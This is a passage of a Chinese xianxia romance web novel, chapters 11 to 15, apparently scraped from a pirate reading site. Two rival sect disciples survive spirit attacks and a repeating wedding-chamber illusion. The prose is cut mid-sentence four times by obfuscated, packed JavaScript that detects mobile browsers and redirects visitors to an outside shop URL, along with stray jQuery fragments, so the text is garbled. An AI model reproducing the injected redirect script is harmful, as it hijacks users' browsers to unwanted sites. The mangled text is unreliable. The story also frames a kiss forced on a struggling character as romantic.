“对啊。”叶云溪道:“我不是跟你说过吗?” 继而又想起幻象中的宁霜尘应该也是假的,又道:“我没看清他的模样,不过,照你那么说,八百年前风月宗第一人,也就只有霁月真君了。” 这些他都是听师兄们说的,传闻中的霁月真君光风霁月、郎艳独绝,是当时修仙界举世无双的美男子,令不少修者为其倾心,因此得了霁月这个称号。 叶云溪说完挑眉:“你没看见?” 宁霜尘摇了摇头。 叶云溪不免几分得意。 他接着道:“我不仅看见了霁月真君,霁月真君还同我说了几句话。” 宁霜尘道:“说了什么?” “也没什么。”叶云溪耸了耸肩道:“他让我过去,我问他是谁,他让我猜,还让我回头看。” 宁霜尘道:“然后呢?” 然后…… 然后他回头看到宁霜尘,被宁霜尘拽进水里,差点被宁霜尘轻薄…… 叶云溪瞬间拉下脸:“没了。” 他才不会告诉宁霜尘,他们在幻象里都发生了些什么。 绝对不会! 见叶云溪脸色骤变,宁霜尘一头雾水,不知道自己哪里又惹到了他。 他扫了一眼叶云溪微微泛红的耳廓,隐隐想到了什么,微提了下唇角,没再接着追问下去。 他们的注意力重新回到剑痕上。 从剑痕来看,在他们之前,一定有人来过这里。 至于到底进来了几个人,是八百年前还是四百年前,他们也无从知晓。 唯一能够确定的是,进来的人和他们一样都失了修为。 叶云溪越看越觉得剑痕有些熟悉,不自觉凝起了眉:“感觉在哪里见过……” 宁霜尘见他皱眉,问道:“怎么了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559229|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶云溪拔出溪岚剑,挽了个利落优美的剑招,最终确认:“是我们云岚宗的剑招,流岚听雪。” 幼时因为贪玩不愿修炼,他被爹娘关在练剑阁好几个月,对这招流岚听雪再熟悉不过。 听他爹娘说,这还是他们师叔祖栖流剑尊自创的剑招。 难不成……在这之前来过的人,其实是他们云岚宗的弟子? 思及此处,叶云溪不由扭过脸,和一旁的宁霜尘面面相觑。 就在他们微怔之时,身后忽然响起一阵吱嘎吱嘎的机括声。 两人立时收回神来,不约而同转过身去。 只见暗室中央的日晷石刻不知几时动了起来,声音似乎来自日晷内部,沉闷艰涩,晷面缓缓转动,转至他们所站的方向,又毫无预兆地停下。 叶云溪随即握紧剑柄,紧盯着戛然而止的日晷。 下一刻,暗室忽地升起雾气,一团团模糊不清的红色游魂自日晷中飘出,蜂拥般朝他们飞扑而来。 叶云溪连忙以剑格挡,与此同时,宁霜尘也迅速抽出了长剑。 两人背对而站,剑光闪烁成片,迫得游魂不敢靠近。 可不管他们如何抵抗,那一团团游魂依然不受半分影响,甚至变得越来越多,不减反增。 叶云溪开始不耐烦起来:“这到底什么东西?” 不仅杀不掉,还越变越多。 宁霜尘一剑挑开他面前的游魂,微蹙着眉道:“可能是魅魂。” 叶云溪面露不解:“魅魂?” 听起来似乎和风月宗有关。 宁霜尘一边挥剑抵御魅魂,一边向他解释道:“魅魂发自内心,心中杂念越多,魅魂就会越多。” “那现在怎么办?”叶云溪手脚并用,将扑过来的魅魂踹翻在地,问道:“只需要消除杂念就行了?” 宁霜尘嗯了声:“会静心诀吗?” 叶云溪点点头。 紧接着,他便看到宁霜尘收剑闭眼,在一团团围成城墙般的魅魂中盘腿坐了下去。 叶云溪跟着在他的旁边坐下,深吸了一口气,也开始在心里默念静心诀。 一闭上眼,脑中却不由自主浮现出某些画面来,如走马观花般不停闪现。 宁霜尘帮他敷药, 宁霜尘为他捉鱼, 宁霜尘背着他走路, 宁霜尘给他洗衣服, 宁霜尘说帮他解衣带…… 等等等等! 他怎么满脑子都是宁霜尘? 一定是受到了魅魂的影响! 叶云溪强迫自己沉心静气,努力将宁霜尘从脑子里摘出去,继续默念着静心诀。 暗室渐渐安静下来,身边的魅魂似乎变少了许多,时而还有几只飘过来扒拉他的衣袍。 过了好一会儿,叶云溪才微微将眼睛睁开一条缝。 围在身边的魅魂已经不见了,他慢慢扭过头,看向身旁端坐的人影。 却见宁霜尘仍然双眼紧闭,周身围满了一团团红色魅魂,颜色比刚才更深,仿佛快要将他吞噬一样。 还以为宁霜尘是个清心寡欲的人,想不到内心的杂念比他还多。 叶云溪不由在心底啧了一声。 而此时此刻,宁霜尘满脑都是充满魅惑的杂音,以及不断浮现的零碎画面。 暴躁的叶云溪, 嘴硬的叶云溪, 娇气的叶云溪, 睡着后叫他名字的叶云溪, 幻象中主动亲近他的叶云溪…… 有个声音在他的耳边蛊惑道:“想要他吗?我可以帮你。” 12.第十二章 叶云溪全然不知,这会儿宁霜尘的脑子里都装了些什么。 从他的视角看过去,此刻的宁霜尘闭着双眼,眉头紧锁,细密的汗珠自额边滚落,几乎湿透了鬓发。 这人该不会被魅魂魇住了吧? 叶云溪虽然不清楚魅魂到底是何物,但听宁霜尘所说,魅魂既是由心中杂念而生,想来只有靠自己消除杂念才能破解。 也不知道外人帮忙可不可行…… 虽说他确实想看宁霜尘的热闹,可也不想就这么看着宁霜尘死在自己面前,若是宁霜尘死了,这里就只剩下他一个人了。 凭他自己一人,能不能从禁地出去都尚未可知。 相比之下,他更想能尽快离开崖底。 这么想着,叶云溪抖了下衣袍起身,缓了缓朝宁霜尘伸过手去,正准备拍他的肩膀,想着把他从魅魂中拽出来。 这时,宁霜尘冷不丁睁开了双眼,一双氤氲着浓雾般深不见底的眸子直勾勾盯着他。 嗯?醒了? 叶云溪伸出去的手停在途中,顿了下及时收了回去。 奇怪的是,宁霜尘四周的魅魂并未随着他的睁眼而消失,不知为何,反而看起来变得比刚才还要更多更密。 他正自不解,宁霜尘忽然腾地站了起来,目不转睛盯着他,朝他一步步慢慢走近。 那双眼眸又黑又沉,乍看像在发呆一样,失去了往日的所有神采,呆滞无光。 见他神色不对,叶云溪伸手在他眼前晃了晃:“你怎么了?没事吧?” 真被魇住了? 正想着,手腕猝不及防被捉住,下一瞬,他猛地被宁霜尘按在了冰冷的石壁上。 距离瞬间拉近,那张脸也在眼前蓦然放大。 这种感觉太熟悉了。 就好像…… 就好像他在幻象中,被宁霜尘压在温泉边一样。 “等等……” 叶云溪顿时一急,试图从眼前的禁锢中挣脱开,无奈手腕被对方用力扣住,越是挣扎,宁霜尘越是捉得更紧。 眼看宁霜尘离他越来越近,即将贴上他的嘴唇,他急忙闭眼大喊:“宁霜尘!” 再敢往前一步,你就死定了! 没等他说出后面句话,耳边倏地安静下来,手腕上的力道也渐渐松开。 与此同时,肩头忽地一重。 好像是宁霜尘靠在了他的身上。 停、停下来了? 过了会儿也没听见别的动静,叶云溪松了口气睁开眸子,缓了缓扭过脖子往左侧看去。 只见宁霜尘又闭上了双眼,微垂着头,跟没骨头似的,半边身体失去所有力气倚靠在他肩上。 而在宁霜尘的身后,原本围绕在他四周久久不散的魅魂,此刻已消失得无影无踪。 晕过去了? 叶云溪默了会儿,试探着用手指戳了下他后背:“喂,起来,魅魂没了。” 面前的身影依然一动不动。 叶云溪微微皱了下眉,喃喃道:“真晕了?” 他双手扶住宁霜尘的身体,试着从石壁和宁霜尘之间的禁锢中抽身。 谁知刚动了一下,宁霜尘很快又无力地朝他倾倒而来,软绵绵地靠在他的颈项间。 这人也太重了! 人虽然晕过去了,呼吸仍是均匀的,温热的鼻息轻轻喷洒在后颈处,裸露的皮肤一阵酥酥麻麻。 叶云溪禁不住耳廓一红。 “喂,宁霜尘?”他又皱着眉喊了一声,并偏着脖子离他的头远了些,嗓音透出几分担心,“你没事吧?宁霜尘?” 明明魅魂都不见了,为什么人还没醒? 他往右偏去,宁霜尘立马又向他靠来,像黏住了他似的,迫使他只能贴着石壁缓慢挪动。 这下好了,不仅出不去,还带上了一个人形拖油瓶。 “宁霜尘,快醒醒。” “你再不醒,我就自己走了。” “喂,我真走了?” 说完这些话,他转过头去,余光不经意间往下掠过一眼,却见宁霜尘低垂的指尖微蜷了一下。 醒了? 叶云溪再扭头一看,没醒,仍闭着眼,他脑中不由闪过一个念头,似验证一般,又一次往右偏了下头。 果然,宁霜尘很快又黏上了他。 呵呵。 难怪醒不了,原来在这儿跟他装晕! 叶云溪在心里冷哼了一声。 这么喜欢装,那就继续装吧。 他灵机一动,没有直接拆穿宁霜尘,而是摸索着石壁往旁边挪了一步,趁着宁霜尘再度朝他靠过来的时候,冷不防从禁锢中抽出身去。 让你装! 叶云溪一个闪身,后退到另一侧,抱着双臂准备看戏。 宁霜尘当然没有如他所愿摔在地上,在快要撞上石壁之前,勉强站稳脚跟,睁眼的同时露出一副茫然的神情。 叶云溪对上他的眼睛,主动开口:“醒啦?” 宁霜尘眨了下眼,扶着额反问:“嗯?魅魂消失了?” 还在这儿装! 叶云溪一眼看穿他拙劣的演技,配合他道:“嗯,消失了。” 说着,又瞥了眼他,故意揶揄了句:“不过,我倒是没想到,原来某人的杂念竟然这么多。” 宁霜尘看了眼叶云溪,弯腰拾起地上的佩剑,听见这话身形微微一滞。 许是受到魅魂蛊惑,险些令方才的他无法控制自己。 若非及时摒除杂念,从失控中清醒过来,很难想象接下去还会发生什么。 至于他的杂念…… 宁霜尘敛回神思,轻轻挑了下眉,不露声色接过话道:“我也没想到,原来某人这么担心我。” 叶云溪闻言眉头一皱,瞪着他反驳道:“谁担心你了?” 自作多情! 脸上的薄红却已将他出卖。 叶云溪别过脸,忽然意识到他话语中的漏洞,回神道:“好啊,我就知道,你早就醒了!” “也没多早。”宁霜尘理了下袖角,不急不慢道:“也就刚好听见你叫我名字而已。” “你!” 原来这么早就醒了! 还说没多早! 便在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573133|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人斗嘴之时,暗室突然晃动起来,日晷石刻再次发出异响,诡异的机括声回荡在不大不小的暗室中。 叶云溪见状,怔了一下,连忙靠向石壁,抬头愣愣地张望四周。 在他一旁的宁霜尘则手握长剑,眼神戒备,一副蓄势待发的模样。 “怎么回事?” 叶云溪话音刚落,下一刻,四周陡然坠入黑暗。 这一次,他们谁也没有离开暗室。 不到片刻,周围又逐渐亮了起来,暗室中间的日晷石刻不见了,合欢树壁画也不见了。 映入眼帘的,是一个与暗室截然不同的地方。 入目之处皆是喜庆的红色,红色的布幔,红色的木床,红色的蜡烛在静静地燃烧。 房间正中间的墙壁上还有一个红色的‘囍’字。 叶云溪看了好一会儿,才从失神中反应过来,这里好像是一间成亲用的洞房。 他虽然没有和人结过婚契,但也在话本子里见过不少提及成亲的桥段,想来他们又进入到了一个新的幻象之中。 只是不知道这一次,他们又该怎么样才能出去。 想到此处,叶云溪看了眼和他处于同一境地的宁霜尘。 宁霜尘正在另一边打量着房间,见他看向自己,说道:“这是一间洞房。” 废话,他当然看出来了。 叶云溪扭过头,想起刚才宁霜尘故意在自己面前装晕,暂时还不想同他搭话。 他们分别在洞房两边查看起来。 叶云溪走到房门前,推了一下,门上似被下了一道封印,根本无法打开,他又行至窗前,窗户也和房门一样。 这里完全就是一个密闭的房间。 洞房内的摆设一应俱全,喜床、喜被、喜烛等等,什么都有,除此外,桌上还有一壶合卺酒、两只酒杯。 唯一缺的,大概是两个成亲的主角,也就是这间洞房的主人。 在他们查看这会儿,圆桌上的喜烛已经燃烧了大半,而两人却是浑然不觉。 看到最后,他们都走到了喜床前。 喜床上铺着一床大红绸缎的喜被,一对鸳鸯枕,另外还整齐摆放着两身红色的喜服。 叶云溪往前一步,宁霜尘也往前一步,两人差点撞在一块儿。 叶云溪道:“你干什么?” 宁霜尘道:“你要干什么我就干什么。” 叶云溪:…… 无聊! 宁霜尘环顾了一遍喜床,沉吟道:“这里没有别的出路,想要离开,只能想办法破解幻象。” 叶云溪听完,扭过脸轻哼了一声,嘀咕了句:“傻子也知道。” 他也跟着上下打量了一遍,转回头去,正好对上宁霜尘直勾勾的视线。 看他干什么? 叶云溪不禁生出一种不祥的预感,紧接着便听到宁霜尘说道:“这个幻象可能需要两个人才能破解。” 两个人? 怎么破解? 叶云溪看了眼他,又看了眼自己,再看了眼喜床,神色一顿。 不会是要他们洞房吧??? 13.第十三章 让他和宁霜尘洞房? 不可能! 他就算是死,就算一辈子出不去,就算永远失去修为,也绝对绝对绝对不可能和宁霜尘洞房! 叶云溪几乎瞬间拒绝道:“想都别想!” 见叶云溪满脸写着抗拒,宁霜尘打量了眼他,忍不住挑眉道:“想?你以为我在想什么?” 还能想什么? 不就是洞房吗? 别以为他不知道。 光是想到他和宁霜尘躺在一张床上,叶云溪便不由地浑身冒鸡皮疙瘩,这画面仅仅是在脑中闪过一瞬,都令他难以忍受。 叶云溪后退一步,和宁霜尘拉远距离,再次重申道:“反正不可能!不用想了!” 似是猜到了他在想什么,宁霜尘扫了眼喜床,缓缓道:“可能和你想的一样,想要破解幻象离开这里,需要两个人一起洞房才行。” 看吧,他就知道! 宁霜尘这人一肚子坏水! 叶云溪又往后退了几步,退到圆桌边,离他更远了一些。 见他退远,宁霜尘说完看着他,漫不经心提了下唇:“你以为我想和你洞房?” 随后又淡淡补了一句,“想多了。” 什么他以为? 谁想多了? 明明是宁霜尘自己在那儿说什么两个人才能破解,还一直盯着他看。 这里不就只有他们两个人吗? 虽然听宁霜尘这话似乎没那个心思,叶云溪仍是梗着脖子嘴硬道:“你才想多了,我才没想……” 和他洞房几个字到了嘴边,却怎么也说不出口,叶云溪只得硬着头皮,矢口否认道:“反正我没有想!” 他说罢扭过头去,转而看向洞房四周,目光掠过桌上的喜烛。 就这么一小会儿,烛火已经快要燃到了烛台。 到底要怎样才能破解? 不会真要他们一起洞房吧? 正思索间,随着烛火燃尽,四周刷地再次陷入了黑暗之中。 灯灭了? 叶云溪正欲摸着桌沿去寻烛台,忽地感到一阵头晕目眩,眼前倏然变得模糊起来。 他勉强扶着圆桌站定,晕眩片刻之后,慢慢睁开双眼,桌上的烛台不知几时又亮起了烛光。 叶云溪眨了眨长睫,好一会儿才缓过神来,低头看了眼脚下,复又抬首,缓缓打量着洞房。 他的视线从密闭的门窗扫过喜床,再从喜床扫过圆桌,看向站在他身旁的修长人影。 嗯? 他怎么记得宁霜尘刚刚还站在床边? 位置变了? 叶云溪愣了下神,最后将目光落在正在燃烧的烛火上。 方才即将燃至烛台的喜烛,此刻却又恢复如初,明亮的烛光微微摇晃,照亮了整间喜庆的洞房。 不对,这喜烛明明快要燃尽了。 难道是…… 宁霜尘脸色微凝道:“幻象重置了。” 幻象重置? 叶云溪单手抱臂,摸着下巴一边思忖,一边接下话道:“也就是说,我们需在烛火燃尽之前,尽快找出破解幻象的方法,否则幻象就会不断重置,我们永远无法出去?” 宁霜尘点头:“没错。” 叶云溪说完之后,忽然发觉他和宁霜尘离得太近,连忙往旁边挪了两步。 如果破解幻象的方法是让他和宁霜尘一起洞房…… 那他宁可永远被困在这里! 宁霜尘没理会他的刻意疏远,又一次走到喜床边,看了眼床上的两身喜服,回头朝叶云溪的方向使了个眼色,示意他过去。 叶云溪一脸戒备道:“什么?” 宁霜尘言简意赅道:“成亲。” 成……成亲? 叶云溪登时眉心微蹙。 刚才某人还说是他想多了。 没想到这么快就开始暴露本性。 果然是无耻之徒! 见他不动,宁霜尘接着补充道:“假成亲。” “啊?”叶云溪闻言一顿:“假成亲?” 反应过来这三个字的意思后,适才稍稍舒了口气。 一次性把话说完要死? 吓了他一跳。 宁霜尘嗯了声,说道: “按照幻象给出的指示,应该需要两个人一起成亲,完成成亲仪式后,幻象应当便能自行破解了。” 叶云溪眼露怀疑:“能行吗?” 宁霜尘道:“试试不就知道了。” 说着上下打量他:“还是说,你不敢试?” 叶云溪立马驳道:“谁不敢了。” 不就是成亲么。 既然是假成亲……只是单纯为了离开幻象,好像也还行? 想通此节后,叶云溪迎着宁霜尘的目光走了过去。 喜床上摆放着两身喜服,显而易见,一身喜服是新娘子的,另一身喜服则是新郎官的。 新的难题出现在他们面前。 他们两个都是男人。 这要怎么穿? 两人对视了一眼,宁霜尘提议道:“猜拳?” 猜拳? 这个可以。 这个简单。 叶云溪毫不犹豫应道:“行。” 在云岚宗的时候,他私下没少和师兄们一起赌灵石,自然也玩过猜拳游戏,基本上十次能赢八次。 因此,叶云溪对自己信心满满。 不过,在此之前,他还是要先确认清楚:“先说好,输了的人穿右边的,赢了的人穿左边的。” 右边这身喜服是新娘子的。 宁霜尘对此没有异议:“没问题。” 两人说定之后开始准备猜拳。 叶云溪紧盯着对面的宁霜尘,深吸了口气,在倒数第三声后,和宁霜尘同时伸出手来。 定睛一看,他的是石头,宁霜尘的是布。 第一局,宁霜尘胜。 叶云溪见状,立马耍赖道:“不算,再来。” 他自知理亏,仍是一副理直气壮的口气:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582728|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我刚才还没说完,三局两胜,还有两局。” 看着对方耍赖的样子,宁霜尘不免有些想笑,但为了避免浪费时间,倒也没有同他争论。 宁霜尘妥协道:“那就三局两胜。” 第二局,叶云溪出了剪刀,宁霜尘还是布。 两人变成了平局。 叶云溪紧皱的眉头瞬间舒展。 第三局,叶云溪出了布,宁霜尘出了石头。 叶云溪反败为胜。 他顿时扬起了下巴,洋洋得意:“你输了。” 说完这话,叶云溪拿起新郎官的喜服抱在怀里,并把另一身喜服塞给宁霜尘,一脸等着看热闹的表情。 “咯,换上吧。” 输了便是输了,宁霜尘没有像某些人那样故意耍赖,而是将新娘子的喜服接了过去。 只在转身之前说了句:“穿不了可以随时找我换。” 都是男人,他怎么可能穿不了。 叶云溪回了他一句愿赌服输,拿着喜服去了另一边,再磨蹭下去,等会儿烛火又要燃尽了。 等他换好出来,宁霜尘已经穿上喜服,端端正正地坐在了圆桌旁,甚至自己给自己盖好了红盖头。 烛火摇曳,影影绰绰,一身红衣难掩风姿。 这一刻,叶云溪忽然生出一种即将和携手一生之人成婚的错觉。 直到红盖头下传来宁霜尘冷淡的声音:“换好了吗?” 幻想瞬间破灭。 叶云溪立即清醒过来,回神应道:“换好了。” 宁霜尘扶着桌边站起来:“那就拜堂吧。” 叶云溪哦了一声,理了下不太合身的喜服走过去。 成亲无非是拜堂、揭盖头、饮合卺酒以及入洞房,就算叶云溪没结过婚契,或多或少也听师兄师姐们说过。 只是一想到成亲的对象是宁霜尘,心里便有一种说不清道不明的异样感。 这是假的、这是假的、这是假的…… 叶云溪在心底默念。 拜堂仪式很简单,两人并肩站在洞房中间,正对着墙上的‘囍’字,一人牵着红绸的一端。 先拜天地,再拜高堂,最后夫妻对拜。 对拜的时候,因为离得过近,宁霜尘又比他高,两人的额头不小心磕在了一起。 叶云溪下意识捂了下头,抬手时碰到宁霜尘头上的红盖头,随着他的动作往上掀起一角。 他直起身,正好看见盖头下宁霜尘露出来的脸,长相清俊,五官疏朗,眉目间却又透出几分凌厉,似日出时峰巅积攒的薄雪,清隽中带着一丝冷冽。 烛火掩映之下,丰神俊逸,风华绝代。 叶云溪一时看晃了神。 直至宁霜尘出声提醒道:“该喝合卺酒了。” 叶云溪这才连忙收回神来,清了下嗓子,转身面向旁边的圆桌。 等等…… 他刚才在想什么? 这可是宁霜尘! 他竟然会觉得宁霜尘长得好看? 14.第十四章 盖头已经被掀开了一半,他们因此少了一个环节,直接从揭盖头过渡到了饮合卺酒。 宁霜尘分别倒了两杯酒,一杯自己端着,另一杯递给了叶云溪,盖头披着束发有些碍事,被他摘下来放在了桌上。 饮合卺酒,即成亲的二人各持一只酒杯,手挽过手,将杯中的酒一同饮尽。 这么近距离一看,叶云溪才发现,宁霜尘身上的喜服并不合身,和他的相比,略显拘束了许多,反倒勾勒出宁霜尘修长挺拔的身形。 他走神地打量着,抬起手腕将酒杯送至唇边,谁知刚抿了一小口,便被浓烈的酒味呛得差点咳嗽起来。 好辣! 叶云溪忍不住皱了皱眉。 他没喝过这样的酒,因为他爹娘不许他喝,唯一喝过的只有他师叔用灵果酿成的果酒。 果酒香甜清爽,全然不似这般滋味。 两人的手腕依然挽着,宁霜尘端着酒杯,余光觑了眼道:“不会喝不用喝。” 叶云溪闻言,以为宁霜尘在揶揄他,等着看他笑话,不甘示弱道:“谁说我不会喝?” 话虽这么说,双颊却已染上了两团酡红。 谁能想到幻象里的酒会这么烈。 在宁霜尘的注视下,叶云溪于是硬着头皮又喝了一口。 不行,太辣了! 叶云溪最后还是把酒杯放回了桌上。 当然,是在饮完合卺酒后。 合卺酒饮毕,两人不约而同看向桌上的喜烛,烛火已经燃至了末端。 接下来做什么? 应该都做完了吧? 他们互看了眼,静静等待着烛火燃尽。 直到四周再一次陷入黑暗。 想象中的画面并未出现,等他们再度从晕眩中睁眼,眼前仍然是烛光映照的洞房。 喜烛依旧,喜床依旧,他们又站在了最初的位置,甚至连身上的喜服也换下来了。 这是他们第三次进入同一个幻象。 果然和他们推测的一样,如果无法找到破解的方法,幻象就会不断重置,他们则将被永远困在这里。 可破解幻象的方法,不正是让他们成亲吗? 不对,一定是哪里出了问题。 叶云溪在洞房里重新仔细翻看起来,一会儿翻看烛台,一会儿翻看酒壶。 翻看到酒杯时,他的视线扫过桌上的红盖头,脑中忽地灵光一动:“我知道了!” 叶云溪拿起红盖头,恍然大悟道:“一定是刚才我没有揭盖头,少了个仪式,所以幻象才没有被破解。” 他说着兴冲冲地转过身去:“我们再成亲一次。” 一回头,却见宁霜尘已经换好了那身新娘子的喜服,拿着另一身新郎官的喜服等在喜床边。 “换吧。” 还挺自觉。 叶云溪走过去,把红盖头塞他怀里,从他手里拿走另一身喜服。 “等我一下。” 就这样,两人开始了第二次成亲。 拜堂、揭盖头、饮合卺酒,一个不落。 却不想,烛尽灯灭之后,他们又又又一次进入了幻象。 两人看着眼前的洞房面无表情。 有完没完! 这一次,叶云溪终于失去了所有耐心,主动抱走了属于新娘子的喜服。 说不定和喜服有关。 “再试一次!” 宁霜尘没有阻拦他,几番下来,他也逐渐没了耐性。 叶云溪抱着喜服走了两步,又返回来拿走红盖头,并看了眼宁霜尘叮嘱道:“不许偷看。” 然后走向喜床另一边的屏风。 和新郎官的喜服不同,新娘子的喜服更显繁琐,红色的长袍上金丝银线交织,绣面精致而华丽,宛如一片绚烂的云霞。 叶云溪好不容易才换好了喜服,从屏风后面走出去。 他的头发没有像宁霜尘那样束着发冠,而是披散在脑后,挽了个漂亮的发髻,髻间系着与云岚宗宗服相配的绯色发带,走动时衣摆流苏随之飘动。 在烛火的交相辉映中,好似一个从仙门世家走出来的小公子。 当然,叶云溪本来便是云岚宗的少宗主。 这次轮到宁霜尘看失了神,立在原地,目光定定地落在那道红色身影上。 见他盯着自己,叶云溪得意地挑眉:“好看吗?” 宁霜尘点了下头,没有否认地嗯了声。 看到宁霜尘点头,叶云溪的好胜心得到了极大的满足。 开玩笑,也不看看他是谁。 他可是堂堂云岚宗少宗主! 从小到大,就没有人说他不好看的。 这身喜服显然更为合身,叶云溪没有犹豫,径直拿起盖头盖在自己头上。 “再来!” 他就不信了,他都做出了这么大的牺牲,幻象还是不能破解。 然后—— 不知道第多少次后,叶云溪彻底选择了摆烂,换完喜服便直接倒在了喜床上。 他有气无力地抬了下手:“不行了,我累了,我要休息。” 再这么继续重置下去,他真的要受不了了! 叶云溪说完,闭上眼,朝着喜床右侧翻了个身。 床上似乎洒了什么东西,有些硌人,他摸到手里一看,是枣子花生桂圆之类的干果。 还有吃的? 正打量着,宁霜尘从另一边走了过来,扫了眼道:“这些东西在洞房里寓意着早生贵子。” 什么玩意儿…… 听见这话,叶云溪如触到烫手山芋般,急忙从手里扔了出去。 再一看,却见宁霜尘在床边坐了下来。 他顿时一脸警觉,往后一退:“你过来干什么?” 宁霜尘环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597489|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视了一遍喜床,冷静分析道:“我们可能少了一步。” 叶云溪脱口问道:“少了什么?” 宁霜尘收回眼,扭头看向他,吐出两个字:“洞房。” 叶云溪愣住。 啊?等等…… 假成亲也需要洞房? 不会真要他们洞房才能破解吧? 在他蹙眉发愣这会儿,宁霜尘利落地脱下靴袜,也跟着躺到喜床上来。 叶云溪见状,心中登时警铃大作,结结巴巴道:“你、你先别上来,我、我还没想好……” 知道他这是又误会了,宁霜尘不仅没有解释,还反过来戏谑道:“不上`床怎么洞房?” 见叶云溪神色一顿,似被吓住,他又暂时歇了逗弄的心思,正了正色道:“若只是少了这一步,我们一起躺在床上应该就算洞房了。” 叶云溪这才后知后觉,顿了下道:“假洞房?” 宁霜尘反问道:“你以为呢?” 发现自己会错了意,叶云溪不由耳根微热。 既然能假成亲,自然也能假洞房。 叶云溪没来由松了口气,不太自然地往旁边挪了个位置:“那、那你上来吧。” 两人于是躺在了同一张床上。 躺下之前,宁霜尘顺手放下了床边的红色纱幔。 叶云溪躺在里面,宁霜尘躺在外面,像之前在崖底山洞那样,两人之间隔着一条分界线。 和宿敌躺在一张床上是什么感觉? 叶云溪说不出来。 好像……似乎……也没那么别扭? 明明在此之前,他光是想到这个画面便难以忍受,可真和宁霜尘躺到一块儿,却好像并没有想象中那么排斥。 桌上的喜烛仍在静静燃烧着,过了片刻,洞房里依然没有丝毫动静。 叶云溪皱了下眉,不禁开始担心起来。 不会是假洞房不行吧? 正想着,宁霜尘在这时说道:“换下位置试试?” 叶云溪回神哦了声,应了句好。 正待起身,却没有注意到被宁霜尘压在身下的袖角,两人同时动作,他被袖角绊住,重新躺了回去。 下一瞬,衣袍交叠,唇瓣忽地落下一片陌生柔软的触感。 看着宁霜尘近在咫尺的脸,叶云溪蓦地瞳孔骤缩。 洞房陡然安静下来,静到仿佛能听见彼此错乱的心跳声。 两人俱是一怔。 便在此时,燃烧的烛火忽然摇曳起来,似乎宣示着幻象即将结束。 叶云溪从怔愣中收神,挣扎着想要起身,却被宁霜尘按住了手腕。 唇上的力道并未撤去,反而因为他的挣扎加重了几分,他皱紧了眉,瞪着双眼,眼里盛满滔天怒意。 宁霜尘! 光影映在纱幔上,朦朦胧胧。 直至烛火燃尽。 15.第十五章 眼前坠入黑暗的瞬间,趁着手腕上的力道松懈,叶云溪瞪着眼张开嘴,狠狠咬了口封住他的唇瓣。 贴紧的薄唇立即分开,隐约中,他听见宁霜尘发出嘶地一声,似是抽了口凉气。 伴随一阵突如其来的晕眩,意识再次模糊起来。 这一次好像昏睡了很久。 叶云溪再度睁开眼时,四周仍是一片黑暗,一道幽光映照着石壁,勉强能看清身处的环境。 没有喜床,没有纱幔,没有烛台…… 他们好似又回到了那条冰冷的甬道。 幻象破解了? 这是叶云溪醒来后的第一反应。 然后他才注意到了被他靠在怀里的宁霜尘,继而想起了他们在洞房里发生的所有事。 他和宁霜尘躺上喜床。 他和宁霜尘交换位置。 他和宁霜尘不小心绊在一起。 他被宁霜尘亲了…… 该死的宁霜尘! 不仅不放开他,还一直按着他亲…… 无耻! 可恶! 叶云溪擦了下被亲过的嘴唇,脸色骤然涨得通红。 恰在这时,宁霜尘从昏睡中醒来,缓缓掀开了眼皮。 四目相对了一瞬,叶云溪发觉自己正靠着他的肩膀,似受惊的兔子般连忙从他怀里离开。 两人分别倚坐在石壁两边。 嘴角仍带着些许痛意,宁霜尘抬手轻轻碰了一下,撩起长睫,看向他对面扶着石壁起身的罪魁祸首。 昏暗烛光下,那两片带着淡淡酒气、水润嫣红的唇瓣,似又浮现在了他的脑海中。 令他不禁有些晃神。 被宁霜尘这么直直盯着,叶云溪忽然浑身不自在起来,拧着双眉瞪了回去:“看什么看?” 还没亲够? 所幸四周漆黑一片,看不见他涨红的脸。 叶云溪仍是将头别向了一边。 好好一张嘴却偏要咬人…… 宁霜尘跟着站起身,正要回话,却不想被嘴角的伤口牵扯,忍不住抽了口凉气道:“你属狗么?” 叶云溪闻言,眸底顿时闪过一丝怒意:“你说谁呢?” 